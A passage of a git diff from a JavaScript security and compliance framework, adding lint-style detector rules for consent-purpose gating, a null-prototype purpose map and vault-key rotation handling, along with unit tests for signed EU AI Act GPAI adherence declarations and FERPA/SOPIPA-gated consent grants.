+ { id: "consent-grant-recognized-purpose-unenforced", primitive: "minting a consent row with a recognized gated purpose (educational-only) must go through b.consent — the PURPOSES vocabulary + grant() lawful-basis gate — not a hardcoded purpose literal that records the value without enforcing its FERPA/SOPIPA lawful-basis constraint", scanScope: "lib", regex: /purpose:\s*["']educational-only["']/, requires: /recognizedPurpose|PURPOSES/, allowlist: ["lib/consent.js"], reason: "v0.14.14 — F5.1 educational-only is a GATED consent purpose: b.consent.grant() refuses a legitimate_interests lawful basis for it (FERPA 34 CFR 99.31 school-official exception / California SOPIPA Cal. B&P 22584). A lib file that mints a consent row with a hardcoded purpose:\"educational-only\" literal WITHOUT composing the PURPOSES vocabulary re-introduces the broken-promise shape where the value is recorded but its lawful-basis constraint is never enforced (CWE-285 improper authorization). consent.js owns + enforces PURPOSES and is allowlisted; any other lib file matching the literal must route through b.consent. Must-compose detector for the gated-purpose primitive per feedback_new_safe_primitive_ships_with_must_compose_detector." },
6523
+
6524
+ { id: "consent-purposes-null-proto", primitive: "the recognized-purpose map (PURPOSES) must be a null-prototype object so an operator-supplied free-form purpose colliding with an Object.prototype member (toString / constructor / __proto__) resolves to undefined, not the prototype value", scanScope: "lib", regex: /var PURPOSES\s*=\s*Object\.freeze\(/, requires: /Object\.create\(null\)/, allowlist: [], reason: "v0.14.14 Codex P2 on PR #295 (CWE-1321) — recognizedPurpose(name) + grant() index PURPOSES[purpose] with an operator-controlled value; a plain-prototype map returns Object.prototype.toString (truthy) for purpose \"toString\", breaking the null-for-free-form contract and entering grant()'s recognized branch for a value listPurposes() never exposes. PURPOSES is now Object.freeze(Object.assign(Object.create(null), {...})) so every unrecognized key resolves to undefined. Detector requires the null-prototype declaration so the lookup can't silently revert to a plain object." },
6525
+
6526
+ {
6527
+ // ROTATION-EPOCH ACCEPT (v0.14.x): a vault-key rotation (b.vault.rotate)
6528
+ // re-keys the local dataDir, which changes the SHA3-512 fingerprint of
6529
+ // the vault PUBLIC keys on every node. The canonical fingerprint in
6530
+ // _blamejs_cluster_state.vaultKeyFp then goes stale and
6531
+ // cluster.js _checkVaultKeyConsistency would VAULT_KEY_DRIFT-refuse boot
6532
+ // on every node. The fix gates the FATAL refusal on the operator's
6533
+ // acceptVaultKeyRotation declaration (configuredAcceptRotation): when
6534
+ // set, the node ADOPTS the new fingerprint + bumps a rotationEpoch
6535
+ // instead of refusing; when unset, the strict cross-node drift refusal
6536
+ // is unchanged (fail-closed against silent sealed-column corruption,
6537
+ // CWE-345). The bug class this locks: a future edit that re-hardens the
6538
+ // mismatch path to throw VAULT_KEY_DRIFT unconditionally (removing the
6539
+ // rotation escape hatch) would re-introduce the every-node-refuses-boot
6540
+ // outage after a legitimate rotation. VAULT_KEY_DRIFT is unique to
6541
+ // lib/cluster.js, so this is effectively file-scoped: the throw must
6542
+ // coexist with the configuredAcceptRotation gate. If the gate is ever
6543
+ // intentionally removed, carry an
6544
+ // `allow:cluster-vault-key-drift-without-rotation-accept-gate` marker
6545
+ // with the reason.
6546
+ id: "cluster-vault-key-drift-without-rotation-accept-gate",
6547
+ primitive: "lib/cluster.js _checkVaultKeyConsistency MUST gate the VAULT_KEY_DRIFT FATAL refusal on the operator's rotation declaration (configuredAcceptRotation, set from init opts.acceptVaultKeyRotation). A vault-key rotation legitimately changes the public-key fingerprint on every node; without the gate, every node refuses boot after a rotation. The undeclared-mismatch path stays fail-closed; the declared path adopts the new fingerprint and bumps rotationEpoch. Removing the gate re-opens the post-rotation cluster-wide boot outage.",
6548
+ regex: /throw\s+_err\(\s*["']VAULT_KEY_DRIFT["']/,
6549
+ requires: /configuredAcceptRotation|allow:cluster-vault-key-drift-without-rotation-accept-gate/,
6550
+ skipCommentLines: true,
6551
+ allowlist: [],
6552
+ reason: "ROTATION-EPOCH ACCEPT in lib/cluster.js: b.vault.rotate re-keys the local dataDir and changes the SHA3-512 vault-public-key fingerprint, but only the local dataDir — the external _blamejs_cluster_state coordination row keeps the old fingerprint, so every node would VAULT_KEY_DRIFT-refuse boot (a cluster-wide outage after a routine key rotation). The mismatch refusal is now gated on configuredAcceptRotation: declared rotation adopts the new fingerprint + bumps rotationEpoch; undeclared mismatch still fails closed (CWE-345 binding-integrity for sealed columns). Detector locks the gate so a future re-hardening of the drift path can't drop the rotation escape hatch. VAULT_KEY_DRIFT is unique to cluster.js; allowlist empty.",
6553
+ },
6554
+
6305
6555
  // Codex P1 on v0.12.11 PR #162 — surfaced the NaN/Infinity bypass
6306
6556
  // through `typeof X === "number" ? X : default` gating. The
6307
6557
  // pattern exists widely in the codebase (~29 call sites at the
@@ -581,6 +581,136 @@ function run() {
581
581
  check("crossWalkIso42001: returns defensive copies",
582
582
  freshRow.iso42001.indexOf("MUTATION") === -1);
583
583
 
584
+ // ---- v0.14.11: GPAI Code-of-Practice signed adherence declaration ----
585
+ var gpaiCop = aiAct.gpai;
586
+ check("gpai.adherenceForm is fn", typeof gpaiCop.adherenceForm === "function");
587
+ check("gpai.declareAdherence is fn", typeof gpaiCop.declareAdherence === "function");
588
+ check("gpai.verifyAdherence is fn", typeof gpaiCop.verifyAdherence === "function");
589
+
590
+ var copPair = b.crypto.generateSigningKeyPair("ml-dsa-87");
591
+ var evidence = b.crypto.sha3Hash("annex-xi-technical-documentation-v1");
592
+ check("evidence hash is 128 hex chars", /^[0-9a-f]{128}$/.test(evidence));
593
+
594
+ function _copCommitments(articles) {
595
+ return articles.map(function (a) {
596
+ return { article: a, statement: "evidence for " + a, evidenceHash: evidence };
597
+ });
598
+ }
599
+ var ART_53_ALL = ["Art. 53(1)(a)", "Art. 53(1)(b)", "Art. 53(1)(c)", "Art. 53(1)(d)"];
600
+
601
+ // adherenceForm derives the four Art. 53 obligations (no systemic chapter)
602
+ var copForm = gpaiCop.adherenceForm({
603
+ modelId: "acme-llm-7b", modelVersion: "1.0",
604
+ commitments: _copCommitments(["Art. 53(1)(a)"]),
605
+ });
606
+ check("adherenceForm: 4 derived obligations", copForm.commitments.length === 4);
607
+ check("adherenceForm: not systemic by default", copForm.isSystemicRisk === false);
608
+ check("adherenceForm: articles Art. 53 only", copForm.articles.length === 1 && copForm.articles[0] === "Art. 53");
609
+ check("adherenceForm: first commitment evidenced", copForm.commitments[0].evidenced === true);
610
+ check("adherenceForm: unsupplied obligation surfaced", copForm.commitments[1].evidenced === false);
611
+ check("adherenceForm: deadlines bound into form", copForm.deadlines.generalPurposeAI === "2026-08-02");
612
+ check("adherenceForm: copVersion default", copForm.copVersion === "2025-07");
613
+
614
+ // Round-trip: build → sign → verify
615
+ var copEnv = gpaiCop.declareAdherence({
616
+ modelId: "acme-llm-7b", modelVersion: "1.0",
617
+ commitments: _copCommitments(ART_53_ALL),
618
+ privateKeyPem: copPair.privateKey,
619
+ });
620
+ check("declareAdherence: returns signed envelope", typeof copEnv.signature === "string" && copEnv.signature.length > 0);
621
+ check("declareAdherence: no unsigned path (has bom)", copEnv.bom && copEnv.bom.bomFormat === "CycloneDX");
622
+ check("declareAdherence: surfaces adherence form", copEnv.adherence && copEnv.adherence.modelId === "acme-llm-7b");
623
+
624
+ var copVerdict = gpaiCop.verifyAdherence(copEnv, copPair.publicKey);
625
+ check("verifyAdherence: round-trip valid", copVerdict.valid === true);
626
+ check("verifyAdherence: surfaces required articles", copVerdict.adherence.requiredArticles.indexOf("Art. 53(1)(d)") !== -1);
627
+ check("verifyAdherence: reason null on success", copVerdict.reason === null);
628
+
629
+ // Signature-substitution defense: tamper a BOM field, signature must fail
630
+ var copTampered = { bom: JSON.parse(JSON.stringify(copEnv.bom)), signature: copEnv.signature };
631
+ copTampered.bom.metadata.component.version = "9.9.9";
632
+ check("verifyAdherence: tampered bom rejected", gpaiCop.verifyAdherence(copTampered, copPair.publicKey).valid === false);
633
+
634
+ // Refusal 1 — hollow attestation / bad evidenceHash
635
+ rejects("declareAdherence: junk evidenceHash refused",
636
+ function () {
637
+ gpaiCop.declareAdherence({
638
+ modelId: "m", modelVersion: "1",
639
+ commitments: [{ article: "Art. 53(1)(a)", statement: "x", evidenceHash: "x" }],
640
+ privateKeyPem: copPair.privateKey,
641
+ });
642
+ }, /evidenceHash/);
643
+
644
+ // Refusal 2 — scope downgrade: 3e25-FLOP systemic model OMITTING the Art. 55 chapter
645
+ rejects("declareAdherence: systemic model omitting Art. 55 refused",
646
+ function () {
647
+ gpaiCop.declareAdherence({
648
+ modelId: "big", modelVersion: "1", trainingFlops: 3e25,
649
+ commitments: _copCommitments(ART_53_ALL), // omits Art. 55
650
+ privateKeyPem: copPair.privateKey,
651
+ });
652
+ }, /Art\. 55/);
653
+
654
+ // Systemic model that DOES cover Art. 55 succeeds + marks systemic risk
655
+ var copSysEnv = gpaiCop.declareAdherence({
656
+ modelId: "big", modelVersion: "1", trainingFlops: 3e25,
657
+ commitments: _copCommitments(ART_53_ALL.concat(["Art. 55"])),
658
+ privateKeyPem: copPair.privateKey,
659
+ });
660
+ var copSysVerdict = gpaiCop.verifyAdherence(copSysEnv, copPair.publicKey);
661
+ check("declareAdherence: systemic model with Art. 55 valid", copSysVerdict.valid === true);
662
+ check("declareAdherence: systemic flag set", copSysVerdict.adherence.isSystemicRisk === true);
663
+ check("declareAdherence: systemic articles include Art. 55", copSysVerdict.adherence.articles.indexOf("Art. 55") !== -1);
664
+
665
+ // Refusal 3 — missing modelId / modelVersion
666
+ rejects("declareAdherence: missing modelId refused",
667
+ function () {
668
+ gpaiCop.declareAdherence({ modelVersion: "1", privateKeyPem: copPair.privateKey });
669
+ }, /modelId/);
670
+ rejects("declareAdherence: missing modelVersion refused",
671
+ function () {
672
+ gpaiCop.declareAdherence({ modelId: "m", privateKeyPem: copPair.privateKey });
673
+ }, /modelVersion/);
674
+ rejects("declareAdherence: missing signing key refused",
675
+ function () {
676
+ gpaiCop.declareAdherence({ modelId: "m", modelVersion: "1" });
677
+ }, /privateKeyPem/);
678
+
679
+ // Refusal 4 — stale / replayed declaration past its validity window
680
+ var copStaleEnv = gpaiCop.declareAdherence({
681
+ modelId: "m", modelVersion: "1",
682
+ validityMs: 1000,
683
+ generatedAt: new Date(Date.now() - 60000).toISOString(),
684
+ commitments: _copCommitments(ART_53_ALL),
685
+ privateKeyPem: copPair.privateKey,
686
+ });
687
+ var copStaleVerdict = gpaiCop.verifyAdherence(copStaleEnv, copPair.publicKey);
688
+ check("verifyAdherence: expired declaration rejected", copStaleVerdict.valid === false && copStaleVerdict.reason === "expired");
689
+
690
+ // A fresh declaration verified within its window passes; the `now`
691
+ // override drives the clock without a setTimeout wait.
692
+ var copFreshVerdict = gpaiCop.verifyAdherence(copStaleEnv, copPair.publicKey, {
693
+ now: Date.parse(copStaleEnv.adherence.generatedAt) + 500,
694
+ });
695
+ check("verifyAdherence: within-window declaration valid", copFreshVerdict.valid === true);
696
+
697
+ // Unknown opt key throws at config time
698
+ rejects("declareAdherence: unknown opt key refused",
699
+ function () {
700
+ gpaiCop.declareAdherence({
701
+ modelId: "m", modelVersion: "1", privateKeyPem: copPair.privateKey, bogusKey: 1,
702
+ });
703
+ }, /unknown option/);
704
+
705
+ // Bad copVersion month group refused (shape-only regex with real month)
706
+ rejects("adherenceForm: copVersion month 13 refused",
707
+ function () {
708
+ gpaiCop.adherenceForm({
709
+ modelId: "m", modelVersion: "1", copVersion: "2025-13",
710
+ commitments: _copCommitments(["Art. 53(1)(a)"]),
711
+ });
712
+ }, /copVersion/);
713
+
584
714
  console.log("OK — compliance-ai-act tests");
585
715
  }
586
716
 
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+ // b.consent recognized-purpose vocabulary (educational-only) + grant gating.
3
+
4
+ var helpers = require("../helpers");
5
+ var b = helpers.b;
6
+ var check = helpers.check;
7
+ var fs = helpers.fs;
8
+ var os = helpers.os;
9
+ var path = helpers.path;
10
+ var setupTestDb = helpers.setupTestDb;
11
+ var teardownTestDb = helpers.teardownTestDb;
12
+
13
+ async function run() {
14
+ // ---- recognized-purpose vocabulary (pure, no DB) ----
15
+ var edu = b.consent.recognizedPurpose("educational-only");
16
+ check("recognizedPurpose(educational-only): present", edu !== null);
17
+ check("recognizedPurpose(educational-only): forbids legitimate_interests",
18
+ edu.forbidsLawfulBasis.indexOf("legitimate_interests") !== -1);
19
+ check("recognizedPurpose(educational-only): citation populated", typeof edu.citation === "string" && edu.citation.length > 0);
20
+ check("recognizedPurpose(educational-only): commercial-use prohibited", edu.commercialUseProhibited === true);
21
+ check("recognizedPurpose(marketing): null (free-form)", b.consent.recognizedPurpose("marketing") === null);
22
+ check("recognizedPurpose(unknown): null", b.consent.recognizedPurpose("nope-not-real") === null);
23
+ // A free-form purpose colliding with an Object.prototype member must stay
24
+ // free-form (null), not resolve to the prototype value (CWE-1321).
25
+ check("recognizedPurpose(toString): null, not the prototype fn", b.consent.recognizedPurpose("toString") === null);
26
+ check("recognizedPurpose(constructor): null", b.consent.recognizedPurpose("constructor") === null);
27
+ check("recognizedPurpose(__proto__): null", b.consent.recognizedPurpose("__proto__") === null);
28
+ check("recognizedPurpose(hasOwnProperty): null", b.consent.recognizedPurpose("hasOwnProperty") === null);
29
+
30
+ var purposes = b.consent.listPurposes();
31
+ check("listPurposes: frozen array", Array.isArray(purposes) && Object.isFrozen(purposes));
32
+ check("listPurposes: includes educational-only", purposes.indexOf("educational-only") !== -1);
33
+
34
+ // ---- DB-backed grant gating ----
35
+ var dir = fs.mkdtempSync(path.join(os.tmpdir(), "blamejs-consent-purp-"));
36
+ try {
37
+ await setupTestDb(dir);
38
+
39
+ // educational-only + legitimate_interests → refused (FERPA / SOPIPA).
40
+ var threw = null;
41
+ try { await b.consent.grant({ subjectId: "stu-1", purpose: "educational-only", lawfulBasis: "legitimate_interests", channel: "api" }); }
42
+ catch (e) { threw = e; }
43
+ check("grant educational-only + legitimate_interests refused", threw && /forbids lawfulBasis/.test(threw.message));
44
+
45
+ // educational-only + a school-authorization basis → succeeds + isGranted.
46
+ await b.consent.grant({ subjectId: "stu-1", purpose: "educational-only", lawfulBasis: "consent", channel: "api" });
47
+ check("grant educational-only + consent succeeds (isGranted)",
48
+ b.consent.isGranted({ subjectId: "stu-1", purpose: "educational-only" }) === true);
49
+
50
+ // A free-form purpose under any lawful basis still grants (back-compat).
51
+ await b.consent.grant({ subjectId: "stu-2", purpose: "marketing", lawfulBasis: "legitimate_interests", channel: "api" });
52
+ check("free-form purpose still grants (back-compat)",
53
+ b.consent.isGranted({ subjectId: "stu-2", purpose: "marketing" }) === true);
54
+
55
+ // A free-form purpose colliding with an Object.prototype name is still
56
+ // free-form — grant() must not enter the recognized-purpose branch.
57
+ await b.consent.grant({ subjectId: "stu-3", purpose: "toString", lawfulBasis: "legitimate_interests", channel: "api" });
58
+ check("Object-prototype-named purpose grants as free-form",
59
+ b.consent.isGranted({ subjectId: "stu-3", purpose: "toString" }) === true);
60
+
61
+ // withdraw → isGranted false for the same (subjectId, purpose).
62
+ await b.consent.withdraw({ subjectId: "stu-1", purpose: "educational-only" });
63
+ check("after withdraw isGranted false",
64
+ b.consent.isGranted({ subjectId: "stu-1", purpose: "educational-only" }) === false);
65
+ } finally {
66
+ await teardownTestDb(dir);
67
+ }
68
+ }
69
+
70
+ module.exports = { run: run };